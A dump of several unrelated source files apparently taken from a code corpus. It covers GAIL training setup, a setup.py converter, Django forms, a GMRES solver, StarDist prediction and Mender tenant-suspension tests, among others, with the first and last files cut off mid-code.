hidden_sizes=args.policy_mean_hidden_layer_dims,
std_hidden_sizes=args.policy_std_hidden_layer_dims
)
else:
if args.policy_recurrent:
print("GaussianGRUPolicy")
policy = GaussianGRUPolicy(
name="policy",
env_spec=env.spec,
hidden_dim=args.recurrent_hidden_dim,
output_nonlinearity=None,
learn_std=True
)
else:
print("GaussianMLPPolicy")
policy = GaussianMLPPolicy(
name="policy",
env_spec=env.spec,
hidden_sizes=args.policy_mean_hidden_layer_dims,
std_hidden_sizes=args.policy_std_hidden_layer_dims,
adaptive_std=True,
output_nonlinearity=None,
learn_std=True
)
return policy
def build_recognition_model(args, env, writer=None):
if args.use_infogail:
recognition_dataset = RecognitionDataset(
args.batch_size,
flat_recurrent=args.policy_recurrent
)
recognition_network = ObservationActionMLP(
name='recog',
hidden_layer_dims=args.recognition_hidden_layer_dims,
output_dim=args.latent_dim
)
recognition_model = RecognitionModel(
obs_dim=env.observation_space.flat_dim,
act_dim=env.action_space.flat_dim,
dataset=recognition_dataset,
network=recognition_network,
variable_type='categorical',
latent_dim=args.latent_dim,
optimizer=tf.train.AdamOptimizer(args.recognition_learning_rate),
n_train_epochs=args.n_recognition_train_epochs,
summary_writer=writer,
verbose=2
)
else:
recognition_model = None
return recognition_model
def build_baseline(args, env):
return GaussianMLPBaseline(env_spec=env.spec)
def build_reward_handler(args, writer=None):
reward_handler = hgail.misc.utils.RewardHandler(
use_env_rewards=args.reward_handler_use_env_rewards,
max_epochs=args.reward_handler_max_epochs, # epoch at which final scales are used
critic_final_scale=args.reward_handler_critic_final_scale,
recognition_initial_scale=0.,
recognition_final_scale=args.reward_handler_recognition_final_scale,
summary_writer=writer,
normalize_rewards=True,
critic_clip_low=-100,
critic_clip_high=100,
)
return reward_handler
def build_hierarchy(args, env, writer=None):
levels = []
latent_sampler = UniformlyRandomLatentSampler(
name='base_latent_sampler',
dim=args.latent_dim,
scheduler=ConstantIntervalScheduler(k=args.env_H)
)
for level_idx in [1,0]:
# wrap env in different spec depending on level
if level_idx == 0:
level_env = env
else:
level_env = SpecWrapperEnv(
env,
action_space=Discrete(args.latent_dim),
observation_space=env.observation_space
)
with tf.variable_scope('level_{}'.format(level_idx)):
# recognition_model = build_recognition_model(args, level_env, writer)
recognition_model = None
if level_idx == 0:
policy = build_policy(args, env, latent_sampler=latent_sampler)
else:
scheduler = ConstantIntervalScheduler(k=args.scheduler_k)
policy = latent_sampler = CategoricalLatentSampler(
scheduler=scheduler,
name='latent_sampler',
policy_name='latent_sampler_policy',
dim=args.latent_dim,
env_spec=level_env.spec,
latent_sampler=latent_sampler,
max_n_envs=args.n_envs
)
baseline = build_baseline(args, level_env)
if args.vectorize:
force_batch_sampler = False
if level_idx == 0:
sampler_args = dict(n_envs=args.n_envs)
else:
sampler_args = None
else:
force_batch_sampler = True
sampler_args = None
sampler_cls = None if level_idx == 0 else HierarchySampler
algo = TRPO(
env=level_env,
policy=policy,
baseline=baseline,
batch_size=args.batch_size,
max_path_length=args.max_path_length,
n_itr=args.n_itr,
discount=args.discount,
step_size=args.trpo_step_size,
sampler_cls=sampler_cls,
force_batch_sampler=force_batch_sampler,
sampler_args=sampler_args,
optimizer_args=dict(
max_backtracks=50,
debug_nan=True
)
)
reward_handler = build_reward_handler(args, writer)
level = Level(
depth=level_idx,
algo=algo,
reward_handler=reward_handler,
recognition_model=recognition_model,
start_itr=0,
end_itr=0 if level_idx == 0 else np.inf
)
levels.append(level)
# by convention the order of the levels should be increasing
# but they must be built in the reverse order
# so reverse the list before returning it
return list(reversed(levels))
'''
setup
'''
def latest_snapshot(exp_dir, phase='train'):
snapshot_dir = os.path.join(exp_dir, phase, 'log')
snapshots = glob.glob('{}/itr_*.pkl'.format(snapshot_dir))
latest = sorted(snapshots, reverse=True)[0]
return latest
def set_up_experiment(
exp_name,
phase,
exp_home='../../data/experiments/',
snapshot_gap=5):
maybe_mkdir(exp_home)
exp_dir = os.path.join(exp_home, exp_name)
maybe_mkdir(exp_dir)
phase_dir = os.path.join(exp_dir, phase)
maybe_mkdir(phase_dir)
log_dir = os.path.join(phase_dir, 'log')
maybe_mkdir(log_dir)
logger.set_snapshot_dir(log_dir)
logger.set_snapshot_mode('gap')
logger.set_snapshot_gap(snapshot_gap)
log_filepath = os.path.join(log_dir, 'log.txt')
logger.add_text_output(log_filepath)
return exp_dir
'''
data utilities
'''
def compute_lengths(arr):
sums = np.sum(np.array(arr), axis=2)
lengths = []
for sample in sums:
zero_idxs = np.where(sample == 0.)[0]
if len(zero_idxs) == 0:
lengths.append(len(sample))
else:
lengths.append(zero_idxs[0])
return np.array(lengths)
def normalize(x, clip_std_multiple=np.inf):
mean = np.mean(x, axis=0, keepdims=True)
x = x - mean
std = np.std(x, axis=0, keepdims=True) + 1e-8
up = std * clip_std_multiple
lb = - std * clip_std_multiple
x = np.clip(x, lb, up)
x = x / std
return x, mean, std
def normalize_range(x, low, high):
low = np.array(low)
high = np.array(high)
mean = (high + low) / 2.
half_range = (high - low) / 2.
x = (x - mean) / half_range
x = np.clip(x, -1, 1)
return x
def load_x_feature_names(filepath, ngsim_filename):
print(filepath)
f = h5py.File(filepath, 'r')
xs = []
traj_id = NGSIM_FILENAME_TO_ID[ngsim_filename]
# in case this nees to allow for multiple files in the future
traj_ids = [traj_id]
for i in traj_ids:
if str(i) in f.keys():
xs.append(f[str(i)])
else:
raise ValueError('invalid key to trajectory data: {}'.format(i))
x = np.concatenate(xs)
feature_names = f.attrs['feature_names']
return x, feature_names
def load_data(
filepath,
act_keys=['accel', 'turn_rate_global'],
ngsim_filename='trajdata_i101_trajectories-0750am-0805am.txt',
debug_size=None,
min_length=50,
normalize_data=True,
shuffle=False,
act_low=-1,
act_high=1,
clip_std_multiple=np.inf):
# loading varies based on dataset type
x, feature_names = load_x_feature_names(filepath, ngsim_filename)
# optionally keep it to a reasonable size
if debug_size is not None:
x = x[:debug_size]
if shuffle:
idxs = np.random.permutation(len(x))
x = x[idxs]
# compute lengths of the samples before anything else b/c this is fragile
lengths = compute_lengths(x)
# flatten the dataset to (n_samples, n_features)
# taking only the valid timesteps from each sample
# i.e., throw out timeseries information
xs = []
for i, l in enumerate(lengths):
# enforce minimum length constraint
if l >= min_length:
xs.append(x[i,:l])
x = np.concatenate(xs)
# split into observations and actions
# redundant because the environment is not able to extract actions
obs = x
act_idxs = [i for (i,n) in enumerate(feature_names) if n in act_keys]
act = x[:, act_idxs]
if normalize_data:
# normalize it all, _no_ test / val split
obs, obs_mean, obs_std = normalize(obs, clip_std_multiple)
# normalize actions to between -1 and 1
act = normalize_range(act, act_low, act_high)
else:
obs_mean = None
obs_std = None
return dict(
observations=obs,
actions=act,
obs_mean=obs_mean,
obs_std=obs_std,
)
| 17,628 | 5,919 |
import argparse
import ast
import configparser
import io
import os.path
from typing import Any
from typing import Dict
from typing import Optional
from typing import Sequence
METADATA_KEYS = frozenset((
'name', 'version', 'url', 'download_url', 'project_urls', 'author',
'author_email', 'maintainer', 'maintainer_email', 'classifiers',
'license', 'license_file', 'description', 'long_description',
'long_description_content_type', 'keywords', 'platforms', 'provides',
'requires', 'obsoletes',
))
OPTIONS_AS_SECTIONS = (
'entry_points', 'extras_require', 'package_data', 'exclude_package_data',
)
OPTIONS_KEYS = frozenset((
'zip_safe', 'setup_requires', 'install_requires', 'python_requires',
'use_2to3', 'use_2to3_fixers', 'use_2to3_exclude_fixers',
'convert_2to3_doctests', 'scripts', 'eager_resources', 'dependency_links',
'tests_require', 'include_package_data', 'packages', 'package_dir',
'namespace_packages', 'py_modules', 'data_files',
# need special processing (as sections)
*OPTIONS_AS_SECTIONS,
))
FIND_PACKAGES_ARGS = ('where', 'exclude', 'include')
def is_setuptools_attr_call(node: ast.Call, attr: str) -> bool:
return (
# X(
(isinstance(node.func, ast.Name) and node.func.id == attr) or
# setuptools.X(
(
isinstance(node.func, ast.Attribute) and
isinstance(node.func.value, ast.Name) and
node.func.value.id == 'setuptools' and
node.func.attr == attr
)
)
class Visitor(ast.NodeVisitor):
def __init__(self) -> None:
self.sections: Dict[str, Dict[str, Any]] = {}
self.sections['metadata'] = {}
self.sections['options'] = {}
self._files: Dict[str, str] = {}
def visit_With(self, node: ast.With) -> None:
# with open("filename", ...) as fvar:
# varname = fvar.read()
if (
# with open(...)
len(node.items) == 1 and
isinstance(node.items[0].context_expr, ast.Call) and
isinstance(node.items[0].context_expr.func, ast.Name) and
node.items[0].context_expr.func.id == 'open' and
# "filename"
len(node.items[0].context_expr.args) > 0 and
isinstance(node.items[0].context_expr.args[0], ast.Str) and
# as fvar
isinstance(node.items[0].optional_vars, ast.Name) and
# varname =
len(node.body) == 1 and
isinstance(node.body[0], ast.Assign) and
len(node.body[0].targets) == 1 and
isinstance(node.body[0].targets[0], ast.Name) and
# fvar.read()
isinstance(node.body[0].value, ast.Call) and
isinstance(node.body[0].value.func, ast.Attribute) and
# .read()
node.body[0].value.func.attr == 'read' and
# fvar.
isinstance(node.body[0].value.func.value, ast.Name) and
(
node.body[0].value.func.value.id ==
node.items[0].optional_vars.id
)
):
varname = node.body[0].targets[0].id
filename = node.items[0].context_expr.args[0].s
self._files[varname] = filename
self.generic_visit(node)
def visit_Call(self, node: ast.Call) -> None:
if is_setuptools_attr_call(node, 'setup'):
for kwd in node.keywords:
if kwd.arg in METADATA_KEYS:
section = 'metadata'
elif kwd.arg in OPTIONS_KEYS:
section = 'options'
else:
raise SystemExit(
f'{kwd.arg}= is not supported in setup.cfg',
)
if (
isinstance(kwd.value, ast.Name) and
kwd.value.id in self._files
):
value = f'file: {self._files[kwd.value.id]}'
elif (
isinstance(kwd.value, ast.Call) and
is_setuptools_attr_call(kwd.value, 'find_packages')
):
find_section = {
k: ast.literal_eval(v)
for k, v in zip(FIND_PACKAGES_ARGS, kwd.value.args)
}
find_section.update({
kwd.arg: ast.literal_eval(kwd.value)
for kwd in kwd.value.keywords
if kwd.arg is not None # for mypy's sake
})
self.sections['options.packages.find'] = find_section
value = 'find:'
else:
try:
value = ast.literal_eval(kwd.value)
except ValueError:
raise NotImplementedError(f'unparsable: {kwd.arg}=')
self.sections[section][kwd.arg] = value
self.generic_visit(node)
def _list_as_str(lst: Sequence[str]) -> str:
if len(lst) == 1:
return lst[0]
else:
return '\n' + '\n'.join(lst)
def _dict_as_str(dct: Dict[str, str]) -> str:
return _list_as_str([f'{k}={v}' for k, v in dct.items()])
def _reformat(section: Dict[str, Any]) -> Dict[str, Any]:
new_section = {}
for key, value in section.items():
if isinstance(value, (list, tuple)):
new_section[key] = _list_as_str(value)
elif isinstance(value, dict):
new_section[key] = _dict_as_str(value)
else:
new_section[key] = value
return new_section
def main(argv: Optional[Sequence[str]] = None) -> int:
parser = argparse.ArgumentParser()
parser.add_argument('directory')
args = parser.parse_args(argv)
setup_py = os.path.join(args.directory, 'setup.py')
with open(setup_py, 'rb') as setup_py_f:
tree = ast.parse(setup_py_f.read(), filename=setup_py)
visitor = Visitor()
visitor.visit(tree)
for option_section in OPTIONS_AS_SECTIONS:
if option_section in visitor.sections['options']:
section = visitor.sections['options'].pop(option_section)
visitor.sections[f'options.{option_section}'] = section
for k in tuple(visitor.sections.get('options.extras_require', {})):
if k.startswith(':'):
deps = visitor.sections['options.extras_require'].pop(k)
ir = visitor.sections['options'].setdefault('install_requires', [])
for dep in deps:
ir.append(f'{dep};{k[1:]}')
sections = {k: _reformat(v) for k, v in visitor.sections.items() if v}
# always want these to start with a newline
for section in ('entry_points', 'package_data', 'exclude_package_data'):
for k, v in dict(sections.get(f'options.{section}', {})).items():
if '\n' not in v:
if k == '':
sections[f'options.{section}'].pop(k)
k = '*'
sections[f'options.{section}'][k] = f'\n{v}'
# always start project_urls with a newline as well
if sections.get('metadata', {}).get('project_urls'):
project_urls = sections['metadata']['project_urls']
if not project_urls.startswith('\n'):
sections['metadata']['project_urls'] = f'\n{project_urls}'
cfg = configparser.ConfigParser()
cfg.update(sections)
setup_cfg = os.path.join(args.directory, 'setup.cfg')
if os.path.exists(setup_cfg):
orig = configparser.ConfigParser()
orig.read(setup_cfg)
for section_name, section in orig.items():
for k, v in section.items():
# a shame `setdefault(...)` doesn't work
if not cfg.has_section(section_name):
cfg.add_section(section_name)
cfg[section_name][k] = v
with open(setup_py, 'w') as f:
f.write('from setuptools import setup\nsetup()\n')
sio = io.StringIO()
cfg.write(sio)
with open(setup_cfg, 'w') as f:
contents = sio.getvalue().strip() + '\n'
contents = contents.replace('\t', ' ')
contents = contents.replace(' \n', '\n')
f.write(contents)
print(f'{setup_py} and {setup_cfg} written!')
return 0
if __name__ == '__main__':
raise SystemExit(main())
| 8,429 | 2,623 |
from .user import User, MultiUserUpload
from .problem import Problem, TestData
from .submit import Submit
| 106 | 27 |
# pytest tests
import numpy as np
from Advent2019_10 import Day10
class TestDay10():
def test_instantiate(self):
test = Day10('../tests/test_Advent2019_10a.txt')
grid = ['.#..#',
'.....',
'#####',
'....#',
'...##']
grid = [list(x) for x in grid]
gridarray = np.array(grid).transpose()
boolgrid = (gridarray == "#")
assert (gridarray[3, :] == list('..#.#')).all()
assert (gridarray[:, 2] == list('#####')).all()
assert (boolgrid[:, 2] == [True, True, True, True, True]).all()
assert (test.asteroid_map == gridarray).all()
assert (test.boolean_asteroid_map == boolgrid).all()
| 726 | 246 |
class Solution:
def findDisappearedNumbers(self, nums: List[int]) -> List[int]:
if len(nums) < 1:
raise Exception("Invalid Array")
n = len(nums)
res = []
s = set()
for x in nums:
s.add(x)
for i in range(1, n + 1):
if i not in s:
res.append(i)
return res
| 370 | 122 |
import pytest
from tests.test_application import app
@pytest.fixture
def client():
client = app.test_client()
yield client
def test_hello_resource(client):
"""
Test if it is possible to access to /hello resource
:param client: Test client object
:return:
"""
response = client.get('/hello').get_json()
assert response['hello'] == 'world'
def test_asset_found(client):
"""
Test if Swagger assets are accessible from the new path
:param client: Test client object
:return:
"""
response = client.get('/this_is_a_new/path_for_swagger_internal_documentation/swaggerui/swagger-ui-bundle.js')
assert response.status_code is 200
| 691 | 209 |
'''
03 - Multiple arguments
In the previous exercise, the square brackets around imag in the documentation showed us that the
imag argument is optional. But Python also uses a different way to tell users about arguments being
optional.
Have a look at the documentation of sorted() by typing help(sorted) in the IPython Shell.
You'll see that sorted() takes three arguments: iterable, key and reverse.
key=None means that if you don't specify the key argument, it will be None. reverse=False means
that if you don't specify the reverse argument, it will be False.
In this exercise, you'll only have to specify iterable and reverse, not key. The first input you
pass to sorted() will be matched to the iterable argument, but what about the second input? To tell
Python you want to specify reverse without changing anything about key, you can use =:
sorted(___, reverse = ___)
Two lists have been created for you on the right. Can you paste them together and sort them in
descending order?
Note: For now, we can understand an iterable as being any collection of objects, e.g. a List.
Instructions:
- Use + to merge the contents of first and second into a new list: full.
- Call sorted() on full and specify the reverse argument to be True. Save the sorted list as
full_sorted.
- Finish off by printing out full_sorted.
'''
# Create lists first and second
first = [11.25, 18.0, 20.0]
second = [10.75, 9.50]
# Paste together first and second: full
full = first + second
# Sort full in descending order: full_sorted
full_sorted = sorted(full, reverse=True)
# Print out full_sorted
print(full_sorted) | 1,614 | 439 |
"""
Entradas: 3 Valores flotantes que son el valor de diferentes monedas
Chelines autriacos --> float --> x
Dramas griegos --> float --> z
Pesetas --> float --> w
Salidas 4 valores flotantes que es la conversión de las anteriores monedas
Pesetas --> float --> x
Francos franceses --> float --> z
Dolares --> float --> a
Liras italianas --> float --> b
"""
# Entradas
x1 = float(input("Dime los chelines autríacos\n"))
z1 = float(input("Dime los dracmas griegos\n"))
w = float(input("Dime las pesetas\n"))
# Caja negra
x = (x1 * 956871)/100
z = z1/22.64572381
a = w/122499
b = (w*100)/9289
# Salidas
print(f"\n{x1} Chelines austríacos en pesetas son {x}\n{z1} Dracmas griegos en Francos franceses son {z}\n{w} Pesetas en Dolares son {a}\n{w} Pesetas en Liras italianas son {b}\n") | 790 | 337 |
import argparse
import os
from glob import glob
import imageio
from tqdm import tqdm
from csbdeep.utils import normalize
from stardist.models import StarDist3D
def get_image_files(root, image_folder, ext):
# get the image and label mask paths and validate them
image_pattern = os.path.join(root, image_folder, f'*{ext}')
print("Looking for images with the pattern", image_pattern)
images = glob(image_pattern)
assert len(images) > 0, "Did not find any images"
images.sort()
return images
# could be done more efficiently, see
# https://github.com/hci-unihd/batchlib/blob/master/batchlib/segmentation/stardist_prediction.py
def run_prediction(image_files, model_path, root, prediction_folder):
# load the model
model_root, model_name = os.path.split(model_path.rstrip('/'))
model = StarDist3D(None, name=model_name, basedir=model_root)
res_folder = os.path.join(root, prediction_folder)
os.makedirs(res_folder, exist_ok=True)
# normalization parameters: lower and upper percentile used for image normalization
# maybe these should be exposed
lower_percentile = 1
upper_percentile = 99.8
ax_norm = (0, 1, 2)
for im_file in tqdm(image_files, desc="run stardist prediction"):
im = imageio.volread(im_file)
im = normalize(im, lower_percentile, upper_percentile, axis=ax_norm)
pred, _ = model.predict_instances(im)
im_name = os.path.split(im_file)[1]
save_path = os.path.join(res_folder, im_name)
imageio.imsave(save_path, pred)
def predict_stardist(root, model_path, image_folder, prediction_folder, ext):
print("Loading images")
image_files = get_image_files(root, image_folder, ext)
print("Found", len(image_files), "images for prediction")
print("Start prediction ...")
run_prediction(image_files, model_path, root, prediction_folder)
print("Finished prediction")
def main():
parser = argparse.ArgumentParser(description="Predict new images with a stardist model")
parser.add_argument('root', type=str, help="Root folder with image data.")
parser.add_argument('model_path', type=str, help="Where the model is saved.")
parser.add_argument('--image_folder', type=str, default='images',
help="Name of the folder with the training images, default: images.")
parser.add_argument('--prediction_folder', type=str, default='predictions',
help="Name of the folder where the predictions should be stored, default: predictions.")
parser.add_argument('--ext', type=str, default='.tif', help="Image file extension, default: .tif")
args = parser.parse_args()
predict_stardist(args.root, args.model_path, args.image_folder,
args.prediction_folder, args.ext)
if __name__ == '__main__':
main()
| 2,844 | 877 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from django import forms
from estacionamientos.models import Estacionamiento, Reserva, Pago
class EstacionamientosForm(forms.ModelForm):
nombre_duenio = forms.CharField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Nombre del Dueño'}))
nombre_est = forms.CharField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Nombre del Estacionamiento'}))
direccion = forms.CharField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Dirección'}))
telefono1 = forms.IntegerField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Teléfono 1',}))
telefono2 = forms.IntegerField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Telefono 2',}), required=False)
telefono3 = forms.IntegerField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Teléfono 3',}), required=False)
email1 = forms.EmailField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Correo Electrónico 1',}))
email2 = forms.EmailField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Correo Electrónico 2',}), required=False)
email3 = forms.EmailField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Correo Electrónico 3',}), required=False)
rif = forms.IntegerField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'RIF',}))
capacidad = forms.IntegerField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Capacidad',}))
tarifa = forms.DecimalField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Tarifa',}))
horaI = forms.TimeField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Hora Apertura',}))
horaF = forms.TimeField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Hora Cierre',}))
reservaI = forms.TimeField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Inicio Restringir Reserva',}), required=False)
reservaF = forms.TimeField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Fin Restringir Reserva',}), required=False)
class Meta:
model = Estacionamiento
fields = '__all__'
class ReservaForm(forms.ModelForm):
estacionamiento = forms.ModelChoiceField(
queryset=Estacionamiento.objects.all(),
empty_label="Estacionamiento",
widget=forms.Select(attrs={'class': 'form-control',}))
horaInicio = forms.TimeField(widget=forms.DateInput(
attrs={'class': 'form-control', 'placeholder': 'Inicio de la Reserva',}))
horaFin = forms.TimeField(widget=forms.DateInput(
attrs={'class': 'form-control', 'placeholder': 'Fin de la Reserva',}))
class Meta:
model = Reserva
fields = ['horaInicio', 'horaFin', 'estacionamiento']
class PagoForm(forms.ModelForm):
TARJETAS = [
('', 'Tipo de Tarjeta'),
('Vista', 'Vista'),
('Mister', 'Mister'),
('Xpres', 'Xpres')
]
nombre = forms.CharField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Nombre',}))
cedula = forms.IntegerField(widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Cédula',}))
tipoTarjeta = forms.ChoiceField(choices=TARJETAS, widget=forms.Select(attrs={'class': 'form-control'}))
numeroTarjeta = forms.RegexField(min_length=16, max_length=16, regex=r'^(\d)+$',
error_message = ("Número de tarjeta no válido."), widget=forms.TextInput(
attrs={'class': 'form-control', 'placeholder': 'Número de Tarjeta',}))
class Meta:
model = Pago
fields = ['nombre', 'cedula', 'tipoTarjeta', 'numeroTarjeta', 'pago']
| 4,049 | 1,295 |
"""
Y. Saad, M. Schultz,
GMRES: a generalized minimal residual algorithm for solving nonsymmetric linear systems,
SIAM J. Sci. and Stat. Comput., 7(3), 856–869, 1986,
<https://doi.org/10.1137/0907058>.
Other implementations:
<https://petsc.org/release/docs/manualpages/KSP/KSPGMRES.html>
"""
from __future__ import annotations
from typing import Callable
import numpy as np
import scipy.linalg
from numpy.typing import ArrayLike
from ._helpers import (
Identity,
Info,
LinearOperator,
Product,
assert_correct_shapes,
clip_imag,
get_default_inner,
wrap_inner,
)
from .arnoldi import ArnoldiHouseholder, ArnoldiMGS
from .givens import givens
def multi_matmul(A, b):
"""A @ b for many A, b (i.e., A.shape == (m,n,...), y.shape == (n,...))"""
return np.einsum("ij...,j...->i...", A, b)
def multi_solve_triangular(A, B):
"""This function calls scipy.linalg.solve_triangular for every single A. A
vectorized version would be much better here.
"""
A_shape = A.shape
a = A.reshape(A.shape[0], A.shape[1], -1)
b = B.reshape(B.shape[0], -1)
y = []
for k in range(a.shape[2]):
if np.all(b[:, k] == 0.0):
y.append(np.zeros(b[:, k].shape))
else:
y.append(scipy.linalg.solve_triangular(a[:, :, k], b[:, k]))
y = np.array(y).T.reshape([A_shape[0]] + list(A_shape[2:]))
return y
def gmres(
*args,
restart_size: int | None = None,
maxiter: int | None = None,
x0: ArrayLike | None = None,
**kwargs,
) -> tuple[np.ndarray | None, Info]:
if restart_size is None:
return _gmres(*args, maxiter=maxiter, x0=x0, **kwargs)
total_steps = 0
info = None
while True:
sol, info = _gmres(
*args,
maxiter=restart_size
if maxiter is None
else min(restart_size, maxiter - total_steps),
x0=x0 if info is None else info.xk,
**kwargs,
)
total_steps += info.numsteps
if info.success:
break
# override numsteps
info = Info(info.success, info.xk, total_steps, info.resnorms, info.nresnorms)
return sol, info
def _gmres(
A: LinearOperator,
b: ArrayLike,
M: LinearOperator | None = None,
Ml: LinearOperator | None = None,
Mr: LinearOperator | None = None,
inner: Callable | None = None,
ortho: str = "mgs",
x0: ArrayLike | None = None,
tol: float = 1e-5,
atol: float = 1.0e-15,
maxiter: int | None = None,
callback: Callable[[int, np.ndarray, list[np.ndarray]], None] | None = None,
) -> tuple[np.ndarray | None, Info]:
b = np.asarray(b)
assert_correct_shapes(A, b, x0)
n = A.shape[0]
M = Identity(n) if M is None else M
Ml = Identity(n) if Ml is None else Ml
Mr = Identity(n) if Mr is None else Mr
def _get_xk(y):
if y is None:
return x0
k = arnoldi.iter
if k > 0:
yy = multi_solve_triangular(R[:k, :k], y)
# The last is always 0, so we could skip it, too
# yk = sum(c * v for c, v in zip(yy, V[:-1]))
yk = sum(c * v for c, v in zip(yy, arnoldi.V))
return x0 + Mr @ yk
return x0
_inner = get_default_inner(b.shape) if inner is None else wrap_inner(inner)
maxiter = A.shape[0] if maxiter is None else maxiter
if x0 is None:
x0 = np.zeros_like(b)
Ml_r0 = Ml @ b
else:
x0 = np.asarray(x0)
Ml_r0 = Ml @ (b - A @ x0)
M_Ml_r0 = M @ Ml_r0
M_Ml_r0_norm = np.sqrt(clip_imag(_inner(Ml_r0, M_Ml_r0)))
Ml_A_Mr = Product(Ml, A, Mr)
resnorms = [M_Ml_r0_norm]
if callback is not None:
callback(0, x0, resnorms)
# initialize Arnoldi
if ortho.startswith("mgs"):
num_reorthos = 1 if len(ortho) == 3 else int(ortho[3:])
arnoldi = ArnoldiMGS(
Ml_A_Mr,
Ml_r0,
num_reorthos=num_reorthos,
M=M,
Mv=M_Ml_r0,
Mv_norm=M_Ml_r0_norm,
inner=_inner,
)
else:
assert ortho == "householder"
assert inner is None
assert isinstance(M, Identity)
arnoldi = ArnoldiHouseholder(Ml_A_Mr, Ml_r0)
# Givens rotations:
G = []
# QR decomposition of Hessenberg matrix via Givens and R
dtype = M_Ml_r0.dtype
R = np.zeros([maxiter + 1, maxiter] + list(b.shape[1:]), dtype=dtype)
y = np.zeros([maxiter + 1] + list(b.shape[1:]), dtype=dtype)
# Right-hand side of projected system:
y[0] = M_Ml_r0_norm
yk = None
xk = None
# iterate Arnoldi
k = 0
success = False
reason = None
criterion = np.maximum(tol * resnorms[0], atol)
while True:
if np.all(resnorms[-1] <= criterion):
# oh really?
xk = _get_xk(yk) if xk is None else xk
Ml_r = Ml @ (b - A @ xk)
resnorms[-1] = np.sqrt(clip_imag(_inner(Ml_r, M @ Ml_r)))
if np.all(resnorms[-1] <= criterion):
success = True
break
if k == maxiter:
reason = "maxiter reached"
break
# V is used in _get_xk()
_, h = next(arnoldi)
# Copy new column from Arnoldi
R[: k + 2, k] = h[: k + 2]
# Apply previous Givens rotations.
for i in range(k):
R[i : i + 2, k] = multi_matmul(G[i], R[i : i + 2, k])
# Compute and apply new Givens rotation.
g, r = givens(R[k : k + 2, k])
G.append(g)
R[k, k] = r
R[k + 1, k] = 0.0
y[k : k + 2] = multi_matmul(G[k], y[k : k + 2])
yk = y[: k + 1]
resnorm = np.abs(y[k + 1])
xk = None
if callback is not None:
xk = _get_xk(yk) if xk is None else xk
callback(k + 1, xk, resnorms)
resnorms.append(resnorm)
k += 1
# compute solution if not yet done
if xk is None:
xk = _get_xk(y[: arnoldi.iter])
return xk if success else None, Info(
success, xk, k, np.array(resnorms), reason=reason
)
| 6,095 | 2,354 |
# Copyright 2020 Northern.tech AS
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import pytest
import random
import time
from testutils.api.client import ApiClient
import testutils.api.useradm as useradm
import testutils.api.deviceauth as deviceauth
import testutils.api.tenantadm as tenantadm
import testutils.api.deployments as deployments
from testutils.infra.cli import CliTenantadm, CliUseradm
import testutils.util.crypto
from testutils.common import (
User,
Device,
Tenant,
mongo,
clean_mongo,
create_org,
create_random_authset,
get_device_by_id_data,
change_authset_status,
)
@pytest.yield_fixture(scope="function")
def tenants(clean_mongo):
tenants = []
for n in ["tenant1", "tenant2"]:
username = "user@" + n + ".com"
password = "correcthorse"
tenants.append(create_org(n, username, password))
yield tenants
@pytest.fixture(scope="function")
def tenants_users_devices(tenants, mongo):
uc = ApiClient(useradm.URL_MGMT)
devauthm = ApiClient(deviceauth.URL_MGMT)
devauthd = ApiClient(deviceauth.URL_DEVICES)
for t in tenants:
user = t.users[0]
r = uc.call("POST", useradm.URL_LOGIN, auth=(user.name, user.pwd))
assert r.status_code == 200
utoken = r.text
for _ in range(2):
aset = create_random_authset(devauthd, devauthm, utoken, t.tenant_token)
dev = Device(aset.did, aset.id_data, aset.pubkey, t.tenant_token)
dev.authsets.append(aset)
t.devices.append(dev)
yield tenants
class TestAccountSuspensionEnterprise:
def test_user_cannot_log_in(self, tenants):
tc = ApiClient(tenantadm.URL_INTERNAL)
uc = ApiClient(useradm.URL_MGMT)
for u in tenants[0].users:
r = uc.call("POST", useradm.URL_LOGIN, auth=(u.name, u.pwd))
assert r.status_code == 200
# tenant's users can log in
for u in tenants[0].users:
r = uc.call("POST", useradm.URL_LOGIN, auth=(u.name, u.pwd))
assert r.status_code == 200
assert r.status_code == 200
# suspend tenant
r = tc.call(
"PUT",
tenantadm.URL_INTERNAL_SUSPEND,
tenantadm.req_status("suspended"),
path_params={"tid": tenants[0].id},
)
assert r.status_code == 200
time.sleep(10)
# none of tenant's users can log in
for u in tenants[0].users:
r = uc.call("POST", useradm.URL_LOGIN, auth=(u.name, u.pwd))
assert r.status_code == 401
# but other users still can
for u in tenants[1].users:
r = uc.call("POST", useradm.URL_LOGIN, auth=(u.name, u.pwd))
assert r.status_code == 200
def test_authenticated_user_is_rejected(self, tenants):
tc = ApiClient(tenantadm.URL_INTERNAL)
uc = ApiClient(useradm.URL_MGMT)
dc = ApiClient(deviceauth.URL_MGMT)
u = tenants[0].users[0]
# log in
r = uc.call("POST", useradm.URL_LOGIN, auth=(u.name, u.pwd))
assert r.status_code == 200
token = r.text
# check can access an api
r = dc.with_auth(token).call("GET", deviceauth.URL_MGMT_DEVICES)
assert r.status_code == 200
# suspend tenant
r = tc.call(
"PUT",
tenantadm.URL_INTERNAL_SUSPEND,
tenantadm.req_status("suspended"),
path_params={"tid": tenants[0].id},
)
